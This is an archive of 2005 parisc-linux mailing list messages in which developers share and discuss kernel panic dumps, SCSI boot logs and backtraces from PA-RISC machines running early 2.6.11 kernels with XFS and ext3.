sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18n
sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 20
sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18n
sym1: SCSI BUS mode change from SE to SE.
sym1: SCSI BUS has been reset.
  Vendor: SEAGATE   Model: ST39173LC         Rev: 6381
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:15:0: tagged command queuing enabled, command queue depth 16.
 target1:0:15: Beginning Domain Validation
 target1:0:15: wide asynchronous.
 target1:0:15: Domain Validation skipping write tests
 target1:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target1:0:15: Ending Domain Validation
sym2: <875> rev 0x37 at pci 0000:00:02.0 irq 20
sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.


Press Q/q to quit, Enter to continue: 
scsi2 : sym-2.1.18n
sym3: <875> rev 0x37 at pci 0000:00:02.1 irq 21
sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.1.18n
  Vendor: HP 73.4G  Model: ST373405LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym3:15:0: tagged command queuing enabled, command queue depth 16.
 target3:0:15: Beginning Domain Validation
 target3:0:15: wide asynchronous.
 target3:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
 target3:0:15: Ending Domain Validation
sym4: <896> rev 0x1 at pci 0000:30:02.0 irq 26
sym4: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym4: SCSI BUS has been reset.
scsi4 : sym-2.1.18n
  Vendor: HP        Model: D5989C            Rev: 1.03
  Type:   Processor                          ANSI SCSI revision: 02
 target4:0:5: Beginning Domain Validation
 target4:0:5: Ending Domain Validation


Press Q/q to quit, Enter to continue: 
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:10:0: tagged command queuing enabled, command queue depth 16.
 target4:0:10: Beginning Domain Validation
 target4:0:10: wide asynchronous.
 target4:0:10: Domain Validation skipping write tests
 target4:0:10: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 15)
 target4:0:10: Ending Domain Validation
Backtrace:
 [<00000000102e4f00>] sym_setsync+0xa0/0xc0
 [<00000000102e8138>] sym_int_sir+0xe40/0x1780
 [<00000000102e93c4>] sym_interrupt+0x94c/0xc50
 [<00000000102dfd14>] sym53c8xx_intr+0x54/0x138
 [<000000001017ce1c>] handle_IRQ_event+0x74/0xf8
 [<000000001017d050>] __do_IRQ+0x1b0/0x2b8
 [<0000000010116350>] do_cpu_irq_mask+0xc0/0x120
 [<0000000010107074>] intr_return+0x0/0x24
 [<000000001011d4dc>] cpu_idle+0x2c/0x48
 [<0000000010111620>] rest_init+0x48/0x58
 [<00000000105509e4>] start_kernel+0x3e4/0x440


Press Q/q to quit, Enter to continue: 
 [<000000001010d078>] __udivdi3+0x0/0x888


Kernel Fault: Code=26 regs=0000000010504c00 (Addr=00000000000001e0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000001000001110 Not tainted
r00-03  0000000000000000 ffffffffffffff83 00000000102eb7b8 00000000103c8a10
r04-07  0000000000000000 0000000014a1e000 000000000000000b 000000000000000a
r08-11  000000000000000f 0000000000000000 0000000000000001 000000001045a908
r12-15  00000000000000f2 00000000000000fa 00000000000000f0 00000000000000ff
r16-19  00000000105042c0 00000000f000022c 00000000f0002a7c 0000000000030d40
r20-23  0000000000000000 0000000000000320 000000000000000a 00000000000000fa
r24-27  0000000008000000 00000000000000fa 0000000000030dbd 000000001053e640
r28-31  0000000014a1e508 00061b7a00000320 0000000010504c00 0000000000000001
sr0-3   0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102eb5cc 00000000102eb5d0
 IIR: 529303c0    ISR: 0000000000000000  IOR: 00000000000001e0


Press Q/q to quit, Enter to continue: 
 CPU:        0   CR30: 0000000010504000 CR31: 0000000010508000
 ORIG_R28: 000000001053e640
 IAOQ[0]: sym_announce_transfer_rate+0xd4/0x360
 IAOQ[1]: sym_announce_transfer_rate+0xd8/0x360
 RP(r2): sym_announce_transfer_rate+0x2c0/0x360
Kernel panic - not syncing: Kernel Fault


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Wed, 16 Feb 2005 00:45:04 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20050216074504.GC6020@colo.lackof.org>
References: <20050216065539.GB5251@colo.lackof.org>
	<4208D51500003293@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623668 12698 80.91.229.3 (22 Nov 2014 02:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Feb 2005 07:44:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 16 Feb 2005 08:44:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56D197D615;
	Wed, 16 Feb 2005 00:44:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29929-09; Wed, 16 Feb 2005 00:44:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95E3B7D626;
	Wed, 16 Feb 2005 00:44:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B97B7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:44:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29979-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:44:49 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 92A177D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 00:44:49 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 20224298034;
	Wed, 16 Feb 2005 00:45:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06034-04; Wed, 16 Feb 2005 00:45:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D184129802F; Wed, 16 Feb 2005 00:45:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4208D51500003293@mail-5-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: upV5KnUnTlIv47eQeGhrSVVGU2poZVnu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22347

On Wed, Feb 16, 2005 at 08:28:15AM +0100, Joel Soete wrote:
> >  RP(r2): 0xa7f9a6c0
> > Kernel panic - not syncing: Kernel Fault
> >
> Any chance to know what 0xa7f9a6c0 is (iirc calling address)?

return pointer - yes, the callers address.

> and fwiw it's different from previous panic: RP was 0xfa285480?

both look like garbage to me.

> mmm patch-2.6.11-rc4-bk3 (including some xfs fixes) is small, could you let
> a try?

Sure - tomorrow. You have a URL?
(Sorry - I think you posted it once before)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a b180 panic with 2.6.11-rc3-pa3
Date: Wed, 16 Feb 2005 20:14:17 +0100
Organization: ESIEE
Lines: 43
Approved: news@gmane.org
Message-ID: <20050216201417.737f4c40@Tatooine.r3z0>
References: <42075CE800002E4E@mail-6-bnl.tiscali.it>
	<e6eae029050214141362a7d859@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623669 12702 80.91.229.3 (22 Nov 2014 02:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:29 +0000 (UTC)
Cc: List Parisc <parisc-linux@lists.parisc-linux.org>
To: Max Grabert <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Feb 2005 19:15:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 16 Feb 2005 20:15:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F9997D627;
	Wed, 16 Feb 2005 12:15:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00804-04; Wed, 16 Feb 2005 12:15:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D33A7D62B;
	Wed, 16 Feb 2005 12:15:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 025687D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 12:15:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00769-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 12:15:08 -0700 (MST)
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by free.linux.hp.com (Postfix) with ESMTP id 748367D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 12:15:08 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-2.free.fr (Postfix) with ESMTP id 9792BC232;
	Wed, 16 Feb 2005 20:14:36 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 6C4A933CFD; Wed, 16 Feb 2005 20:14:34 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 0839933CAD;
	Wed, 16 Feb 2005 20:14:20 +0100 (CET)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1D1Ucs-0003nS-00; Wed, 16 Feb 2005 20:14:18 +0100
In-Reply-To: <e6eae029050214141362a7d859@mail.gmail.com>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on Tatooine.r3z0
X-Spam-Status: No, score=-52.8 required=5.0 tests=ALL_TRUSTED,LOCAL_RCVD 
	autolearn=failed version=3.0.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2/d4Ku4aTlIv47eQeGhrSVVGU2poZdnw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22348

On Mon, 14 Feb 2005 22:13:59 +0000
Max Grabert <parisc@gmail.com> wrote:

> On Mon, 14 Feb 2005 11:30:43 +0000, Joel Soete <soete.joel@tiscali.be>
> wrote:
> > Hi all,
> > 
> > Don't know if somebody else also emcountered such panic:
> > Backtrace:
> 
> > [<101bb588>] journal_add_journal_head+0xdc/0x13c
> > [<101b4dd8>] journal_dirty_data+0x64/0x1b0
> > [<101a6be4>] ext3_journal_dirty_data+0x1c/0x60
> > [<101a69a8>] walk_page_buffers+0xe0/0xf0
> > [<101a72b8>] ext3_ordered_writepage+0x168/0x1fc

Got hit by a similar panic during the night (the kernel uptime was < 5h)

Kernel Fault code 15
Top stack was:

cache_grow
cache_alloc_refill
kmem_cache_alloc
journal_alloc_journal

and the rest was identical to your dump.

IAOQ was alloc_slabmgmt and gr2 was cache_grow

This was 2.6.11-rc3-pa5 freshly built with Kernel Hacking turned off.

HTH

Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Tue, 15 Feb 2005 23:55:39 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20050216065539.GB5251@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623669 12704 80.91.229.3 (22 Nov 2014 02:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Feb 2005 06:55:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx063) with SMTP; 16 Feb 2005 07:55:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2837D62B;
	Tue, 15 Feb 2005 23:55:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29015-10; Tue, 15 Feb 2005 23:55:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95BC77D626;
	Tue, 15 Feb 2005 23:55:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3447C7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:55:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29015-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:55:24 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BC0E27D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:55:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 34495298034
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:55:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05113-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 23:55:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DA2B029802F; Tue, 15 Feb 2005 23:55:39 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KYJ5KkFzTlIv47eQeGhrSVVGU2poZRnc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22349


Bad night. :^(

Running 2.6.11-rc4-pa0-plus (equivalent to -pa1) on a500-65 (riot).
xfs ran spew for 48h but panic'd when I did a "cvs up -A"
to the CVS source tree on the same file system.

This file system is a raid0 of 6 disks (3 per scsi bus).
Then default "mkfs -t xfs /dev/md0".

grant


Backtrace:
[ argh...no backtrace got dumped ]

Kernel Fault: Code=15 regs=0000000032860d20 (Addr=00000027452d93e1)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000100001111 Not tainted
r00-03  0000000000000000 0000002647c44fe0 00000000a7f9a6c0 00000000f9aa3000
r04-07  0000000000000001 0000000000242000 00000000732bcab8 0000000032860ae8
r08-11  0000000000000001 00000000732bcab8 0000000000011c1b 0000000000000010
r12-15  0000000000000001 00000000f9aa3288 00000000f9aa3150 0000000000000001
r16-19  00000000328607b8 00000000cd3bb090 0000000032860560 00000000fd694400


Press Q/q to quit, Enter to continue: 
r20-23  00000000002a2a40 000000000000055c 0000000058414749 00000000cb631400
r24-27  00000027452d93e0 0000000000000001 0000000000242000 0000000000242000
r28-31  00000000cb631400 0000000032860cf0 0000000032860d20 0000000000000000
sr0-3   000000000a95f800 000000000a95f800 0000000000000000 000000000a95e800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000002a1574 00000000002a1578
 IIR: 0f021014    ISR: 0000000000000000  IOR: 00000027452d93e1
 CPU:        0   CR30: 0000000032860000 CR31: 0000000010508000
 ORIG_R28: 0000000000242000
 IAOQ[0]: xfs_ialloc_read_agi+0x164/0x188 [xfs]
 IAOQ[1]: xfs_ialloc_read_agi+0x168/0x188 [xfs]
 RP(r2): 0xa7f9a6c0
Kernel panic - not syncing: Kernel Fault
 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Wed, 16 Feb 2005 23:06:34 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20050217040634.GO31160@baldric.uwo.ca>
References: <20050216065539.GB5251@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623669 12707 80.91.229.3 (22 Nov 2014 02:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2005 04:06:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 17 Feb 2005 05:06:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DC337D62A;
	Wed, 16 Feb 2005 21:07:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02187-06; Wed, 16 Feb 2005 21:07:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 894277D62B;
	Wed, 16 Feb 2005 21:07:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A48E17D629
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 21:07:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02193-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 21:07:09 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 236917D627
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Feb 2005 21:07:09 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D1cvz-0006c2-00; Wed, 16 Feb 2005 23:06:35 -0500
Content-Disposition: inline
In-Reply-To: <20050216065539.GB5251@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (21% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NHR/KhJNTlIv47eQeGhrSVVGU2poZVnl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22350

On Tue, Feb 15, 2005 at 11:55:39PM -0700, Grant Grundler wrote:
> Bad night. :^(

Yes, teh new kernels don't seem so safe. I'm not very happy to move my
a500 out of 2.6.9-rc2-pa11... 'cause it "just works (tm)"
 
> Running 2.6.11-rc4-pa0-plus (equivalent to -pa1) on a500-65 (riot).
> xfs ran spew for 48h but panic'd when I did a "cvs up -A"
> to the CVS source tree on the same file system.
> 
> This file system is a raid0 of 6 disks (3 per scsi bus).
> Then default "mkfs -t xfs /dev/md0".

The rp is not correct, but doesn't have to be until reload before
function return, it can actually be used as scratch. IAOQ/IASQ is a 
better indicator of what the cpu was doing at the time.

> Kernel Fault: Code=15 regs=0000000032860d20 (Addr=00000027452d93e1)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001000000000100001111 Not tainted
> r00-03  0000000000000000 0000002647c44fe0 00000000a7f9a6c0 00000000f9aa3000
> r04-07  0000000000000001 0000000000242000 00000000732bcab8 0000000032860ae8
> r08-11  0000000000000001 00000000732bcab8 0000000000011c1b 0000000000000010
